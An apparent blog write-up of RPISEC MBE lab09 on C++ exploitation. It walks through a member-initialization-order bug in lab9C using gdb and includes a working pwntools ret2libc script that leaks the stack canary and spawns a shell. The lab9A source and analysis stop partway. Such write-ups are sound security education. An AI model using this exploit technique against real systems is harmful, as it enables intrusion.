{"id":435,"date":"2018-03-10T12:51:06","date_gmt":"2018-03-10T12:51:06","guid":{"rendered":"https:\/\/devel0pment.de\/?p=435"},"modified":"2018-05-20T19:54:49","modified_gmt":"2018-05-20T19:54:49","slug":"rpisec-mbe-writeup-lab09-c","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=435","title":{"rendered":"RPISEC\/MBE: writeup lab09 (C++)"},"content":{"rendered":"

In the last lab<\/a> we focused on Misc and Stack Cookies<\/i>. In this next to last lab some characteristics when dealing with C++<\/i> are introduced.<\/p>\n

The lab contains only two levels:
\n–> lab9C<\/a>
\n–> lab9A<\/a><\/p>\n

<\/p>\n

\n

lab9C<\/h1>\n

The credentials for the first level of this lab are lab9C<\/span> with the password lab09start<\/span>:<\/p>\n

\r\nlogin as: lab9C\r\nlab9C@localhost's password: (lab09start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------[ contact@rpis.ec ]-----------------\r\n<\/pre>\n
As usual we start by viewing the source code:<\/p>\n
\r\nlab9C@warzone:\/levels\/lab09$ cat lab9C.cpp\r\n\/*\r\n *  compile: g++ -fstack-protector-all -z relro -z now .\/lab9C.cpp -o lab9C\r\n *\r\n *  DSVector - A basic homwork implementation of std::vector\r\n *  This is a wrapper program to test it!\r\n *\/\r\n\r\n#include <iostream>\r\n#include <limits>\r\n#include <cstdlib>\r\n#include <cstdio>\r\n#include <cstring>\r\n#include <unistd.h>\r\n#include "utils.h"\r\n\r\nENABLE_TIMEOUT(60)\r\n\r\nvoid\r\nprint_menu(void)\r\n{\r\n    printf("+------- DSVector Test Menu -------+\\n"\r\n           "| 1. Append item                   |\\n"\r\n           "| 2. Read item                     |\\n"\r\n           "| 3. Quit                          |\\n"\r\n           "+----------------------------------+\\n");\r\n}\r\n\r\ntemplate <class T>\r\nclass DSVector {\r\n    public:\r\n                     \/\/ I don't like indexing from 0, I learned VB.NET first.\r\n        DSVector() : len(1), alloc_len(len+256) {}\r\n        unsigned int size() { return len; }\r\n        void append(T item);\r\n                                            \/\/ No info leaks, either!\r\n        T get(unsigned int index) { return (index < alloc_len ? vector_data[index] : -1); };\r\n    private:\r\n        unsigned int alloc_len;\r\n        unsigned int len;\r\n        \/\/ I was asleep during the dynamic sizing part, at least you can't overflow!\r\n        T vector_data[1+256];\r\n};\r\n\r\ntemplate <class T>\r\nvoid\r\nDSVector<T>::append(T item)\r\n{\r\n    \/\/ No overflow for you!\r\n    if (len >= alloc_len) {\r\n        std::cout << "Vector is full!" << std::endl;\r\n        return;\r\n    }\r\n    vector_data[this->len++] = item;\r\n}\r\n\r\nint\r\nmain(int argc, char *argv[])\r\n{\r\n    DSVector<int> test1;\r\n    unsigned int choice = 0;\r\n    bool done = false;\r\n    disable_buffering(stdout);\r\n\r\n    while (!done) {\r\n        print_menu();\r\n        std::cout << "Enter choice: ";\r\n        choice = get_unum();\r\n\r\n        \/* handle menu selection *\/\r\n        switch (choice) {\r\n        case 1:\r\n            std::cout << "Enter a number: ";\r\n            choice = get_unum();\r\n            test1.append(choice);\r\n            break;\r\n        case 2:\r\n            std::cout << "Choose an index: ";\r\n            choice = get_unum();\r\n            printf("DSVector[%d] = %d\\n", choice, test1.get(choice));\r\n            break;\r\n        case 3:\r\n            done = true;\r\n            break;\r\n        default:\r\n            puts("Invalid choice!");\r\n            break;\r\n        }\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n
What does the program do?
\n–> Within the source file a template class called DSVector<\/code> is declared (lines 28-29) which serves as a wrapper for an array.
\n    – The class contains three attributes: two unsigned int len<\/code>, alloc_len<\/code> and an array vector_data<\/code>.
\n    – Also there are four methods: the constructor (DSVector()<\/code> on line 32), size<\/code>, append<\/code> and get<\/code>.
\n    – get<\/code> (line 36) simply returns an element of the internal array when the index is smaller than index<\/code>.
\n    – append<\/code> (line 46) takes an element and adds it to the internal array if len<\/code> has not reached alloc_len<\/code> yet.
\n–> Within the main<\/code> function (line 57) an object of DSVector<\/code> called test1<\/code> is instantiated providing the template type int<\/code> (line 59).
\n–> After this the user can append (line 74) or read (line 79) an item to \/ from the vector. The program keeps looping until the user chooses 3. Quit<\/code> (line 82).<\/p>\n
Again the challenge is remote:<\/p>\n
\r\nlab9C@warzone:\/levels\/lab09$ cat lab9C.readme\r\nnc wargame.server.example 9943\r\n<\/pre>\n
Where is the vulnerability within the program?<\/p>\n
The usual way to spot a vulnerability is to audit the source code. Nevertheless it is also worth playing around with the program and look out for unusual behavior:<\/p>\n
\r\nlab9C@warzone:\/levels\/lab09$ .\/lab9C\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 7\r\nDSVector[7] = 2\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 8\r\nDSVector[8] = -1217723862\r\n<\/pre>\n
We can read items from the vector even if we have not added anything before.<\/p>\n
Let’s reconsider the method responsible for this:<\/p>\n
\r\n        T get(unsigned int index) { return (index < alloc_len ? vector_data[index] : -1); };\r\n<\/pre>\n
get<\/code> only tests if the provided index is smaller than alloc_len<\/code> but not if it is smaller than the actual length (len<\/code>) which is incremented on each call to append<\/code>.<\/p>\n
What else can we do?<\/p>\n
\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 257\r\nDSVector[257] = 484744448\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 258\r\nDSVector[258] = -1216802432\r\n<\/pre>\n
This is strange. We can also read from indices beyond 257? But get<\/code> should test if the index is smaller than alloc_len<\/code>. And alloc_len<\/code> should have been initialized with 257!?<\/p>\n
\r\n        DSVector() : len(1), alloc_len(len+256) {}\r\n<\/pre>\n
Let’s add some values to the vector and inspect the memory using gdb<\/code>:<\/p>\n
\r\nlab9C@warzone:\/levels\/lab09$ gdb lab9C\r\nReading symbols from lab9C...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9C\r\n\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 1\r\nEnter a number: 1337\r\n...\r\nEnter choice: 1\r\nEnter a number: 1337\r\n...\r\nEnter choice: 1\r\nEnter a number: 1337\r\n...\r\nEnter choice: ^C\r\n...\r\ngdb-peda$ searchmem 0x539\r\n...\r\n            [stack] : 0xbffff2dc --> 0x539\r\n            [stack] : 0xbffff2ec --> 0x539\r\n            [stack] : 0xbffff2f0 --> 0x539\r\n            [stack] : 0xbffff2f4 --> 0x539\r\ngdb-peda$ x\/40xw 0xbffff2dc - 0x20\r\n0xbffff2bc:     0x00000000      0x00000000      0xb7fe6dcd      0xbffff794\r\n0xbffff2cc:     0x00000001      0x00000000      0xb7fea8f0      0x00fff5d8\r\n0xbffff2dc:     0x00000539      0xb7fe6ecd      0x00000004      0xb7d49ffd\r\n0xbffff2ec:     0x00000539      0x00000539      0x00000539      0xb7d39034\r\n0xbffff2fc:     0x00000002      0xb7d36604      0x00000002      0xb7f2022a\r\n0xbffff30c:     0xb7fdaacc      0xbffff300      0xb7fff000      0xb7d3ac80\r\n0xbffff31c:     0x00000002      0xb7d36604      0xb7fe7524      0xb7f2022a\r\n0xbffff32c:     0xb7fdaacc      0xb7d3c9e8      0xb7fe6dcd      0xb7d36604\r\n0xbffff33c:     0x00000006      0xbffff370      0x00e49cb2      0x1c93965e\r\n0xbffff34c:     0xb7d3aec8      0xb7d43b18      0xb7fe6dcd      0xb7f20270\r\n<\/pre>\n
I added the value 1337 = 0x539 three times and found the stored values on the stack. Having the source code in mind we can now relate the values in memory to the variables:<\/p>\n
\r\n0xbffff2e0: 0xb7fe6ecd  <-- alloc_len\r\n0xb7fe6ee4: 0x00000004  <-- len\r\n0xb7fe6ee8: 0xb7d49ffd  <-- vector_data[0]\r\n0xb7fe6eec: 0x00000539  <-- vector_data[1]\r\n0xbffff2f0: 0x00000539  <-- vector_data[2]\r\n0xbffff2f4: 0x00000539  <-- vector_data[3]\r\n...\r\n<\/pre>\n
The element vector_data[0]<\/code> is not initialized because the first index used is 1<\/code>. But what is that value in alloc_len<\/code>? It is definitely not 257 as we might expected.<\/p>\n
The reason for this can be found in the following to parts of the source code:<\/p>\n
\r\n        DSVector() : len(1), alloc_len(len+256) {}\r\n<\/pre>\n
\r\n        unsigned int alloc_len;\r\n        unsigned int len;\r\n<\/pre>\n
Within the initialization list in the constructor len<\/code> is initialized at first. After this alloc_len<\/code> is set to len+256<\/code>. But both attributes are declared the other way around: alloc_len<\/code> is declared at first and then len<\/code>. The initialization list uses this ordering and not the order the attributes are listed in it! This means that alloc_len<\/code> is initialized with the uninitialized len + 256<\/code>. After this len<\/code> is set to 1<\/code>.<\/p>\n
Because of this vulnerability we can read beyond the array and also overflow the array. Our goal is to use ret2libc<\/i> to call system(\"\/bin\/sh\")<\/code>. In order to do this we have to:
\n–> Leak the stack canary since the ret<\/code> instruction at the end of the function is not executed when we overwrite the stack canary with an invalid value.
\n–> Leak a libc address to calculate the offset to system<\/code> and the string \/bin\/sh<\/code>.<\/p>\n
Let's start by determining where the stack canary and the return address are stored by setting breakpoints at the appropriate location within the main<\/code> function:<\/p>\n
\r\ngdb-peda$ disassemble main\r\nDump of assembler code for function main:\r\n   0x00000e0f <+0>:     push   ebp\r\n   0x00000e10 <+1>:     mov    ebp,esp\r\n   0x00000e12 <+3>:     push   ebx\r\n   0x00000e13 <+4>:     and    esp,0xfffffff0\r\n   0x00000e16 <+7>:     sub    esp,0x440\r\n   0x00000e1c <+13>:    call   0xb60 <__x86.get_pc_thunk.bx>\r\n   0x00000e21 <+18>:    add    ebx,0x216b\r\n   0x00000e27 <+24>:    mov    eax,DWORD PTR [ebp+0x8]\r\n   0x00000e2a <+27>:    mov    DWORD PTR [esp+0x1c],eax\r\n   0x00000e2e <+31>:    mov    eax,DWORD PTR [ebp+0xc]\r\n   0x00000e31 <+34>:    mov    DWORD PTR [esp+0x18],eax\r\n   0x00000e35 <+38>:    mov    eax,gs:0x14\r\n   0x00000e3b <+44>:    mov    DWORD PTR [esp+0x43c],eax\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *main\r\nBreakpoint 1 at 0xe0f\r\ngdb-peda$ b *main+44\r\nBreakpoint 2 at 0xe3b\r\n<\/pre>\n
At the first breakpoint we can see where the return address is stored:<\/p>\n
\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9C\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0x1\r\nEBX: 0xb7ee1000 --> 0x1a9da8\r\nECX: 0x91c141ca\r\nEDX: 0xbffff724 --> 0xb7ee1000 --> 0x1a9da8\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0x0\r\nESP: 0xbffff6fc --> 0xb7d50a83 (<__libc_start_main+243>:        mov    DWORD PTR [esp],eax)\r\nEIP: 0x80000e0f (<main>:        push   ebp)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n   0x80000e0c <_Z10print_menuv+63>:     pop    ebx\r\n   0x80000e0d <_Z10print_menuv+64>:     pop    ebp\r\n   0x80000e0e <_Z10print_menuv+65>:     ret\r\n=> 0x80000e0f <main>:   push   ebp\r\n   0x80000e10 <main+1>: mov    ebp,esp\r\n   0x80000e12 <main+3>: push   ebx\r\n   0x80000e13 <main+4>: and    esp,0xfffffff0\r\n   0x80000e16 <main+7>: sub    esp,0x440\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6fc --> 0xb7d50a83 (<__libc_start_main+243>:       mov    DWORD PTR [esp],eax)\r\n0004| 0xbffff700 --> 0x1\r\n0008| 0xbffff704 --> 0xbffff794 --> 0xbffff8b6 ("\/levels\/lab09\/lab9C")\r\n0012| 0xbffff708 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=30")\r\n0016| 0xbffff70c --> 0xb7feccea (<call_init+26>:        add    ebx,0x12316)\r\n0020| 0xbffff710 --> 0x1\r\n0024| 0xbffff714 --> 0xbffff794 --> 0xbffff8b6 ("\/levels\/lab09\/lab9C")\r\n0028| 0xbffff718 --> 0xbffff79c --> 0xbffff8ca ("XDG_SESSION_ID=30")\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x80000e0f in main ()\r\n<\/pre>\n
The return address is stored at 0xbffff6fc<\/code>.<\/p>\n
At the second breakpoint we can see what value is used for the stack canary:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n[----------------------------------registers-----------------------------------]\r\nEAX: 0x5fce5b00\r\nEBX: 0x80002f8c --> 0x2e8c\r\nECX: 0x91c141ca\r\nEDX: 0xbffff724 --> 0xb7ee1000 --> 0x1a9da8\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6f8 --> 0x0\r\nESP: 0xbffff2b0 --> 0xbffff5a8 --> 0x6\r\nEIP: 0x80000e3b (<main+44>:     mov    DWORD PTR [esp+0x43c],eax)\r\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n[-------------------------------------code-------------------------------------]\r\n   0x80000e2e <main+31>:        mov    eax,DWORD PTR [ebp+0xc]\r\n   0x80000e31 <main+34>:        mov    DWORD PTR [esp+0x18],eax\r\n   0x80000e35 <main+38>:        mov    eax,gs:0x14\r\n=> 0x80000e3b <main+44>:        mov    DWORD PTR [esp+0x43c],eax\r\n   0x80000e42 <main+51>:        xor    eax,eax\r\n   0x80000e44 <main+53>:        lea    eax,[esp+0x30]\r\n   0x80000e48 <main+57>:        mov    DWORD PTR [esp],eax\r\n   0x80000e4b <main+60>:        call   0x80001050 <_ZN8DSVectorIiEC2Ev>\r\n[------------------------------------stack-------------------------------------]\r\n0000| 0xbffff2b0 --> 0xbffff5a8 --> 0x6\r\n0004| 0xbffff2b4 --> 0x0\r\n0008| 0xbffff2b8 --> 0xbffff2d8 --> 0xbffff5d8 --> 0xb7fc5000 --> 0xdfa7c\r\n0012| 0xbffff2bc --> 0xb7fea930 (<openaux+64>:  mov    DWORD PTR [esi+0x14],eax)\r\n0016| 0xbffff2c0 --> 0x0\r\n0020| 0xbffff2c4 --> 0xb7fe6dcd (<check_match+285>:     mov    ecx,DWORD PTR [esp+0x1c])\r\n0024| 0xbffff2c8 --> 0xbffff794 --> 0xbffff8b6 ("\/levels\/lab09\/lab9C")\r\n0028| 0xbffff2cc --> 0x1\r\n[------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 2, 0x80000e3b in main ()\r\n<\/pre>\n
The value used as stack canary is 0x5fce5b00<\/code>.<\/p>\n
Now let's add a value to the vector in order to locate the vector on the stack:<\/p>\n
\r\ngdb-peda$ c\r\nContinuing.\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 1\r\nEnter a number: 1337\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: ^C\r\n...\r\ngdb-peda$ searchmem 0x539\r\nSearching for '0x539' in: None ranges\r\nFound 17 results, display max 17 items:\r\n...\r\n            [stack] : 0xbffff2dc --> 0x539\r\n            [stack] : 0xbffff2ec --> 0x539\r\ngdb-peda$ x\/300xw 0xbffff2dc\r\n0xbffff2dc:     0x00000539      0xb7fe6ecd      0x00000002      0xb7d49ffd\r\n0xbffff2ec:     0x00000539      0x00000000      0xb7fff000      0xb7d39034\r\n...\r\n0xbffff6dc:     0xb7d6a42d      0xb7ee13c4      0xb7d6a416      0x8000118b\r\n0xbffff6ec:     0x5fce5b00      0x80001180      0xb7ee1000      0x00000000\r\n0xbffff6fc:     0xb7d50a83      0x00000001      0xbffff794      0xbffff79c\r\n...\r\ngdb-peda$ p (0xbffff6ec - 0xbffff2e8) \/ 4\r\n$1 = 0x101\r\ngdb-peda$ p (0xbffff6fc - 0xbffff2e8) \/ 4\r\n$2 = 0x105\r\n<\/pre>\n
The member array vector_data<\/code> begins at 0xbffff2e8<\/code> (the first value vector_data[0]<\/code> being 0xb7d49ffd<\/code>). The stack canary is located at 0xbffff6ec<\/code> and the return address at 0xbffff6fc<\/code> (as we already figured out). This means that we can reference the stack canary with index 257 (0x101<\/code>) and the return address with 261 (0x105<\/code>).<\/p>\n
Since the return address is already a libc address (__libc_start_main+243<\/code>), we can use this address to calculate the address of system<\/code> and \"\/bin\/sh\"<\/code>:<\/p>\n
\r\ngdb-peda$ p system - 0xb7d50a83\r\n$3 = (<text variable, no debug info> *) 0x2670d\r\ngdb-peda$ searchmem "\/bin\/sh"\r\nSearching for '\/bin\/sh' in: None ranges\r\nFound 1 results, display max 1 items:\r\nlibc : 0xb7e97a24 ("\/bin\/sh")\r\ngdb-peda$ p 0xb7e97a24 - 0xb7d50a83\r\n$4 = 0x146fa1\r\n<\/pre>\n
We now have all information needed to implement the exploit. The final python-script will do the following:
\n–> Leak the stack canary (index 257).
\n–> Leak the return address of main<\/code> (index 261).
\n–> Calculate the address of system<\/code> and string \"\/bin\/sh\"<\/code>.
\n–> Store 256 values.
\n–> Store the stack canary (first overflowing value).
\n–> Store another 3 values (offset to return address).
\n–> Store address of system<\/code> (overwrite return address).
\n–> Store another value (return address after call to system<\/code>).
\n–> Store address of string \"\/bin\/sh\"<\/code> (argument for system<\/code>).
\n–> Choose 3. Quit<\/code> to trigger ret<\/code> instruction.<\/p>\n
\r\nlab9C@warzone:\/levels\/lab09$ cat \/tmp\/exploit_lab9C.py\r\nfrom pwn import *\r\n\r\ndef append(p, x):\r\n  p.sendline("1")\r\n  p.sendline(str(x))\r\n  p.recv(1000)\r\n  \r\ndef leak(p, x):\r\n  p.sendline("2")\r\n  p.sendline(str(x))\r\n  p.recvuntil(str(x)+"] = ")\r\n  ret = p.recv(100)\r\n  leak = int(ret[0:ret.index("\\n")], 10)\r\n  if (leak < 0): leak = -((leak-1)^0xffffffff)\r\n  return leak\r\n\r\n\r\np = remote("localhost", 9943)\r\np.recv(1000)\r\n\r\n# leak stack canary\r\nstack_can = leak(p, 257)\r\nlog.success("stack_canary: " + hex(stack_can))\r\n\r\n# leak stack canary + 3 dword + return address\r\nleak = leak(p, 261)\r\nlog.success("leak: " + hex(leak))\r\n\r\naddr_system = leak + 0x2670d\r\naddr_binsh  = leak + 0x146fa1\r\n\r\nfor i in range(256):\r\n  append(p, 1337)\r\n\r\nappend(p, stack_can)\r\n\r\nfor i in range(3):\r\n  append(p, 1337)\r\n\r\nappend(p, addr_system)\r\nappend(p, 1337)\r\nappend(p, addr_binsh)\r\n\r\np.sendline("3")\r\np.recv(1000)\r\n\r\np.interactive()\r\n<\/pre>\n
Running the script:<\/p>\n
\r\nlab9C@warzone:\/levels\/lab09$ python \/tmp\/exploit_lab9C.py\r\n[+] Opening connection to localhost on port 9943: Done\r\n[+] stack_canary: 0x2c50f100\r\n[+] leak: 0xb7460a83\r\n[*] Switching to interactive mode\r\n$ id\r\nuid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)\r\n$ cat \/home\/lab9A\/.pass\r\n1_th0uGht_th4t_w4rn1ng_wa5_l4m3\r\n<\/pre>\n
Done! The password for the next level is 1_th0uGht_th4t_w4rn1ng_wa5_l4m3<\/code>.<\/p>\n
\n
lab9A<\/h1>\n
The credentials for this level are lab9A<\/span> with the password 1_th0uGht_th4t_w4rn1ng_wa5_l4m3<\/span>:<\/p>\n
\r\nlogin as: lab9A\r\nlab9A@localhost's password: (1_th0uGht_th4t_w4rn1ng_wa5_l4m3)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------[ contact@rpis.ec ]-----------------\r\n<\/pre>\n
Let's have a look at the source code:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ cat lab9A.cpp\r\n\/*\r\n * compile: g++ -fstack-protector-all -z relro -z now -O1 -fPIE -pie .\/lab9A.cpp -g -o lab9A\r\n * clark's improved item storage server!\r\n * Changelog:\r\n *   * Using HashSets for insta-access!\r\n *\r\n*\/\r\n\r\n#include <iostream>\r\n#include <cstdlib>\r\n#include <cstdio>\r\n#include <unistd.h>\r\n#include "utils.h"\r\n\r\nENABLE_TIMEOUT(300)\r\n\r\n#define SIZE_HASHSET_VEC 8\r\n\r\nvoid\r\nprint_menu(void)\r\n{\r\n    printf("+----------- clark's improved item storage -----------+\\n"\r\n           "| [ -- Now using HashSets for insta-access to items!  |\\n"\r\n           "| 1. Open a lockbox                                   |\\n"\r\n           "| 2. Add an item to a lockbox                         |\\n"\r\n           "| 3. Get an item from a lockbox                       |\\n"\r\n           "| 4. Destroy your lockbox and items in it             |\\n"\r\n           "| 5. Exit                                             |\\n"\r\n           "+-----------------------------------------------------+\\n");\r\n}\r\n\r\n\/********* Storage implementation **********\/\r\n\r\n\/\/ hash functor\r\nclass hash_num {\r\n    public:\r\n        \/\/ I'm no mathematician\r\n        unsigned int\r\n        operator() (unsigned int const &key) const {\r\n            return key;\r\n        }\r\n};\r\n\r\n\/\/ Hashset\r\ntemplate<class T, class HashFunc>\r\nclass HashSet {\r\n    public:\r\n        HashSet(unsigned int size) : m_size(size), set_data(new T[size]) {}\r\n        virtual ~HashSet() { delete [] set_data; }\r\n        virtual void add(T val);\r\n        virtual unsigned int find(T val);\r\n        virtual T get(unsigned int);\r\n    private:\r\n        unsigned int m_size;\r\n        HashFunc m_hash;\r\n        T *set_data;\r\n};\r\ntypedef HashSet<int, hash_num> hashset_int;\r\n\r\ntemplate<class T, class HashFunc>\r\nvoid\r\nHashSet<T, HashFunc>::add(T val)\r\n{\r\n    int index = this->m_hash(val) % this->m_size;\r\n    this->set_data[index] = val;\r\n}\r\n\r\ntemplate<class T, class HashFunc>\r\nunsigned int\r\nHashSet<T, HashFunc>::find(T val)\r\n{\r\n    return this->m_hash(val) % this->m_size;\r\n}\r\n\r\ntemplate<class T, class HashFunc>\r\nT\r\nHashSet<T, HashFunc>::get(unsigned int index)\r\n{\r\n    if (index >= m_size) {\r\n        std::cout << "Invalid index" << std::endl;\r\n        return T();\r\n    }\r\n    return set_data[index];\r\n}\r\n\r\n\/********* Storage interface implementation **********\/\r\nvoid\r\ndo_new_set(hashset_int **set_vec)\r\n{\r\n    int bin = -1;\r\n    int choice = -1;\r\n    std::cout << "Which lockbox do you want?: ";\r\n    bin = get_unum();\r\n    if (bin < 0) {\r\n        std::cout << "Invalid set ID!" << std::endl;\r\n        return;\r\n    } else if (bin >= SIZE_HASHSET_VEC) {\r\n        std::cout << "No more room!" << std::endl;\r\n        return;\r\n    }\r\n    std::cout << "How many items will you store?: ";\r\n    choice = get_unum();\r\n    set_vec[bin] = new hashset_int(choice);\r\n}\r\n\r\nvoid\r\ndo_add_item(hashset_int **set_vec)\r\n{\r\n    int set_id = -1;\r\n    int item_val = -1;\r\n\r\n    std::cout << "Which lockbox?: ";\r\n    set_id = get_unum();\r\n    if (set_id < 0 || set_id >= SIZE_HASHSET_VEC) {\r\n        std::cout << "Invalid set ID!" << std::endl;\r\n        return;\r\n    }\r\n\r\n    std::cout << "Item value: ";\r\n    item_val = get_unum();\r\n    set_vec[set_id]->add(item_val);\r\n}\r\n\r\nvoid\r\ndo_find_item(hashset_int **set_vec)\r\n{\r\n    int set_id = -1;\r\n    int item_val = -1;\r\n    int item_index = -1;\r\n\r\n    std::cout << "Which lockbox?: ";\r\n    set_id = get_unum();\r\n    if (set_id < 0 || set_id >= SIZE_HASHSET_VEC) {\r\n        std::cout << "Invalid set ID!" << std::endl;\r\n        return;\r\n    }\r\n\r\n    std::cout << "Item value: ";\r\n    item_val = get_unum();\r\n    item_index = set_vec[set_id]->find(item_val);\r\n    if (item_index == -1) {\r\n        std::cout << "Item not found!" << std::endl;\r\n    } else {\r\n        std::cout << "Item Found" << std::endl;\r\n        printf("lockbox[%d] = %d\\n", item_index, set_vec[set_id]->get(item_index));\r\n    }\r\n}\r\n\r\nvoid\r\ndo_del_set(hashset_int **set_vec)\r\n{\r\n    int del_id;\r\n    std::cout << "Which set?: ";\r\n    del_id = get_unum();\r\n    if (del_id < 0 || del_id >= SIZE_HASHSET_VEC) {\r\n        std::cout << "Invalid ID!" << std::endl;\r\n        return;\r\n     }\r\n    delete set_vec[del_id];\r\n}\r\n\r\nint\r\nmain(int argc, char *argv[])\r\n{\r\n    hashset_int **set_vec = new hashset_int*[SIZE_HASHSET_VEC];\r\n    int choice = -1;\r\n    bool done = false;\r\n    disable_buffering(stdout);\r\n\r\n    while (!done) {\r\n        print_menu();\r\n        std::cout << "Enter choice: ";\r\n        choice = get_unum();\r\n        switch (choice) {\r\n        case 1:\r\n            do_new_set(set_vec);\r\n            break;\r\n        case 2:\r\n            do_add_item(set_vec);\r\n            break;\r\n        case 3:\r\n            do_find_item(set_vec);\r\n            break;\r\n        case 4:\r\n            do_del_set(set_vec);\r\n            break;\r\n        case 5:\r\n            done = true;\r\n            break;\r\n        default:\r\n            puts("Invalid option!");\r\n            break;\r\n        }\r\n    }\r\n\r\n    delete [] set_vec;\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n
What does the program do?
\n–> At first a class called hash_num<\/code> is declared (line 35). This class simply takes an unsigned integer (key<\/code>) and returns it.
\n–> A template class called HashSet<\/code> is declared on lines 45-57.
\n    – This class has three attributes: an unsigned int<\/code> (m_size<\/code>), a class HashFunc<\/code> (m_hash<\/code>) and template pointer (set_data<\/code>) (lines 54-56).
\n    – The constructor takes the size as argument, which is used to allocate a new array of the template type using the keyword new<\/code> (line 48).
\n    – Within the destructor the allocated array is freed again using the keyword delete<\/code> (line 49).
\n    – There are three methods: add<\/code>, find<\/code> and get<\/code> (lines 50-52).
\n    – add<\/code> (line 62) takes one argument which is stored in the array set_data<\/code>. The index where the value is stored within the array is determined by the return value of m_hash(val)<\/code> modulo m_size<\/code>.
\n    – find<\/code> (line 70) returns the index being used in add<\/code>.
\n    – get<\/code> (line 77) returns the value of set_data<\/code> at the index being passed.
\n–> On line 58 there is a typedef for HashSet<\/code> called hashset_int<\/code> binding the template type to int<\/code> and using the HashFunc<\/code> hash_num<\/code>.
\n–> Within the main<\/code> function (line 163) an array called set_vec<\/code> and holding hashset_int<\/code> pointers is initialized (line 165).
\n–> After this the program displays a menu letting the user call on of the following functions:
\n    – 1. do_new_set<\/code> (line 88): create a new instance of hashset_int<\/code> with the user provided size and store it within set_vec<\/code> at the user provided index.
\n    – 2. do_add_item<\/code> (line 107): store the user provided value in the hashset_int<\/code> instance referenced by the user provided index.
\n    – 3. do_find_item<\/code> (line 125): get the set_data<\/code> index of the user provided value using the method find<\/code> and printing the corresponding value.
\n    – 4. do_del_set<\/code> (line 150): delete the hashset_int<\/code> instance referenced by the user provided index.<\/p>\n
Yet again the challenge is remote:<\/p>\n
\r\nlab9A@warzone:\/levels\/lab09$ cat lab9A.readme\r\nnc wargame.server.example 9941\r\n<\/pre>\n
Where is the vulnerability within the program?<\/p>\n
